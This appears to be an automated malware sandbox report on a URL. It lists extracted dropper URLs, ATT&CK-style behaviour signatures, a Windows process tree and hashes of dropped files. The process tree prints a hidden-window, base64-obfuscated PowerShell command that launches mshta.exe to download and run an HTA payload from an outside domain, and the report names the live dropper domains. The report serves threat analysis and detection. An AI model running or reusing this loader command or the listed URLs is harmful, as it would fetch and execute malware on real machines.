Resubmissions

27/07/2026, 14:47

260727-r5vcdagm3s3

27/07/2026, 14:29

260727-rtms6avwat10

Analysis

  • user interaction
    yes
  • max time kernel
    103s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/07/2026, 14:29

General

  • Target
    http://93.105.205.92.host.secureserver.net
  • Sample260727-rtms6avwat
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://brts.grupovtgs.pics/

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://brts.grupovtgs.pics/1a910ded-46a5-4259-982c-1c513daf944f/a52b0754-dfe7-4f16-b537-4b7b3137949f

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 48 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://93.105.205.92.host.secureserver.net
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:756
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd8,0x104,0x7ffbf9e2c728,0x7ffbf9e2c734,0x7ffbf9e2c740
      2⤵
        PID:3792
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,15329248345771600999,4299611659922184841,262144 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1924 /prefetch:2
        2⤵
          PID:3168
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,11576659090257299659,17807505387418400050,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2240 /prefetch:3
          2⤵
          • System Time Discovery
          PID:4684
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2380,i,17445726634368212738,16965909189395640232,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2540 /prefetch:8
          2⤵
            PID:2792
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3028,i,1122133106265077669,8257800448117906526,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3140 /prefetch:1
            2⤵
              PID:4208
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3040,i,7485916949526807617,4400520752632062941,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3188 /prefetch:1
              2⤵
                PID:4276
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4368,i,1532436890456852305,6202399918936895684,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4408 /prefetch:2
                2⤵
                  PID:4740
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4684,i,1813378355232925864,16308600115789359761,2097152 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4696 /prefetch:1
                  2⤵
                    PID:784
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5876,i,227294316693534431,655391678378214295,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5880 /prefetch:8
                    2⤵
                      PID:4364
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4952,i,10678961333002076774,1518880768940054613,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6040 /prefetch:8
                      2⤵
                        PID:4172
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5284,i,1570842728775641676,1465084924851283217,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5888 /prefetch:8
                        2⤵
                          PID:2388
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6044,i,4244462384608495517,15288950382935725727,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4892 /prefetch:8
                          2⤵
                            PID:1928
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6044,i,4103130140827898396,9941021098715549192,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3544 /prefetch:8
                            2⤵
                              PID:1600
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4392,i,3191133065728431823,14025442002452232382,524288 --field-trial-handle=1928,i,8994207589815372887,4937716266894435614,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4412 /prefetch:8
                              2⤵
                                PID:3772
                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                              1⤵
                                PID:1092
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                1⤵
                                  PID:2420
                                • C:\Windows\System32\rundll32.exe
                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                  1⤵
                                    PID:2160
                                  • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$Mius=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9icnRzLmdydXBvdnRncy5waWNzLw=='));$Beos=$Mius+'1a910ded-46a5-4259-982c-1c513daf944f/'+'a52b0754-dfe7-4f16-b537-4b7b3137949f';$Peis=New-Object System.Diagnostics.ProcessStartInfo;$Peis.FileName=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('QzpcV2luZG93c1xTeXN0ZW0zMlxtc2h0YS5leGU='));$Peis.Arguments=$Beos;[System.Diagnostics.Process]::Start($Peis)|Out-Null"
                                    1⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:1600
                                    • C:\Windows\System32\mshta.exe
                                      "C:\Windows\System32\mshta.exe" https://brts.grupovtgs.pics/1a910ded-46a5-4259-982c-1c513daf944f/a52b0754-dfe7-4f16-b537-4b7b3137949f
                                      2⤵
                                        PID:2088

                                    Network

                                          MITRE ATT&CK Enterprise v16

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          BookmarkMergedSurfaceOrdering

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                          • Size 6B
                                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                          • MD5 SHA1 SHA512

                                          BrowsingTopicsState

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                          • Size 414B
                                          • SHA256 48296c15134b86e7364eb48c6a04ba2dab5cedfd40cfa11dcf5f1be6d1498860
                                          • MD5 SHA1 SHA512 TLSH

                                          the-real-index

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                          • Size 144B
                                          • SHA256 45de78e04b261db102d9a813213d4143086de8c60030aaa9f285fcc6c4f5f6d1
                                          • MD5 SHA1 SHA512 TLSH

                                          Network Persistent State

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                          • Size 3KB
                                          • SHA256 f470ccc6746923aba8ff31aac79d951865024d9551d47699eccb5ee6dbf0dd82
                                          • MD5 SHA1 SHA512 TLSH

                                          SCT Auditing Pending Reports

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                          • Size 2B
                                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                          • MD5 SHA1 SHA512

                                          Preferences

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                          • Size 12KB
                                          • SHA256 ee0a158448d3968991530ca5889e837a1533450cf4f73083f7ad898fac0f9047
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          Preferences

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                          • Size 13KB
                                          • SHA256 fa19678cd810a48f5e3573fa2926db854ba688d9f726023f6df777a2f5c5cd77
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          Preferences

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                          • Size 13KB
                                          • SHA256 5ce144bb691f9c1ece838c533965160f36ef76241846a641ad23a949a61e5aa3
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          Preferences

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                          • Size 12KB
                                          • SHA256 a400e796c3b54c61b8439177799797c4a1bc2ade5f38bbfc6fd59fd0e1d8b4a3
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          Secure Preferences

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                          • Size 17KB
                                          • SHA256 379d96542283773f422c052abe7293924621df1604b63c9a59676e1514d2db6c
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          the-real-index

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                          • Size 120B
                                          • SHA256 6314d679718c8538db8c1a879b457925c100f4f43887427f3aa0f7c90989a79b
                                          • MD5 SHA1 SHA512 TLSH

                                          the-real-index~RFe5847a3.TMP

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5847a3.TMP
                                          • Size 96B
                                          • SHA256 bb67da78c3ffc71cecc9e16062c3846ce79ad15bc8938bdaa6545b5b614b5e9e
                                          • MD5 SHA1 SHA512 TLSH

                                          CURRENT

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\3\IndexedDB\indexeddb.leveldb\CURRENT
                                          • Size 16B
                                          • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                          • MD5 SHA1 SHA512

                                          Local State

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                          • Size 116KB
                                          • SHA256 456494436d3b5930e15b7f25c8525185ed8fcb2e9f981630d4d73913e3c2e1fc
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          Local State

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                          • Size 116KB
                                          • SHA256 3e4884ffa2d1907299df945938946eca41791c37f77aa54e02882021b7bc054a
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          Local State

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                          • Size 115KB
                                          • SHA256 db4db805fc4597c484ea701769be2e847a3e01d666c04676e9432023da953e21
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          Local State

                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                          • Size 116KB
                                          • SHA256 fd6045ca97b925a6445009b1850b20e0e9e5a87949b5178376afa31fbe6f4c15
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          __PSScriptPolicyTest_5qyufxsi.gue.ps1

                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qyufxsi.gue.ps1
                                          • Size 60B
                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                          • MD5 SHA1 SHA512 TLSH

                                          File_1a910ded-46a5-4259-982c-1c513daf944f.zip

                                          • Path C:\Users\Admin\Downloads\File_1a910ded-46a5-4259-982c-1c513daf944f.zip
                                          • Size 1KB
                                          • SHA256 64453a0fe5a3bf4a6b7b89a0dd32f60f5003d2c706ce2b66ec3660f9c58af8b7
                                          • MD5 SHA1 SHA512 TLSH

                                          memory/1600-162-0x000001F27BF50000-0x000001F27BF60000-memory.dmp

                                          memory/1600-163-0x000001F27BF50000-0x000001F27BF60000-memory.dmp

                                          memory/1600-171-0x000001F27BF60000-0x000001F27BF82000-memory.dmp